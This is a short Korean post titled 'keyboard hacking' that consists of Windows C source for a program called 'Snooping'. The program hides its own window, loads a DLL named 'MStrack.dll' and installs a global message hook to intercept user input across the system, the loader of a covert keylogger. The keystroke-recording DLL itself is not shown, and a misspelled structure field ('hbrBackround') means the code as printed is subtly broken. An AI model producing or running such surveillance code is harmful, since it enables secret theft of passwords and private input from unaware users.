키보드 해킹
#include <windows.h>
LRESULT FAR PASCAL WndProc( HWND, UINT, UINT, LONG );
int PASCAL WinMain ( HANDLE hInstance, HANDLE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow )
{
....static char szAppName[] = "Snooping";
....MSG msg;
....HWND hwnd;
....WNDCLASS wndclass;
....if ( !hPrevInstance )
....{
........wndclass.style = CS_HREDRAW | CS_VREDRAW;
........wndclass.lpfnWndProc = WndProc;
........wndclass.cbClsExtra = 0;
........wndclass.cbWndExtra = 0;
........wndclass.hInstance = hInstance;
........wndclass.hIcon = LoadIcon( NULL, IDI_APPLICATION );
........wndclass.hCursor = LoadCursor( NULL, IDC_ARROW );
........wndclass.hbrBackround = GetStockObject( WHITE_BRUSH );
........wndclass.lpszMenuName = szAppName;
........wndclass.lpszClassName = szAppName;
........RegisterClass ( &wndclass );
....}
....hwnd = CreateWindow ( szAppName, "Snooping", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, NULL, NULL, hInstance, NULL );
....ShowWindow ( hwnd, SW_HIDE );
....UpdateWindow ( hwnd );
....while ( GetMessage(&msg, NULL, 0, 0) )
....{
........TranslateMessage(&msg);
........DispatchMessage(&msg);
....}
....return msg.wParam;
}
LRESULT FAR PASCAL WndProc ( HWND hwnd, UINT message, UINT wParam, LONG lParam )
{
....HDC hdc;
....PAINTSTRUCT ps;
....RECT rect;
....HOOKPROC hGetMsgProc;
....static HINSTANCE hinstDll;
....static HHOOK hKeyHook;
....static int count = 0;
....switch( message )
....{
........case WM_CREATE :
............// 먼저 작성한 Dll파일 로드
............hinstDll = LoadLibrary("\\MStrack.dll");
....
............if( !hinstDll )
............{
................ExitProcess(1);
............}
............// GetMsgProc 함수의 주소를 가져온다.
............hGetMsgProc = (HOOKPROC)GetProcAddress(hinstDll, "GetMsgProc");
............// 사용자 입력을 함수에 넘긴다.
............hKeyHook = SetWindowsHookEx( WH_GETMESSAGE, hGetMsgProc, hinstDll, 0 );
....
............if ( !hKeyHook )
............{
................FreeLibrary(hinstDll);
................ExitProcess(1);
............}
............return 0;
........case WM_DESTROY :
............PostQuitMessage(0);
............return 0;
....}
....return DefWindowProc( hwnd, message, wParam, lParam );
}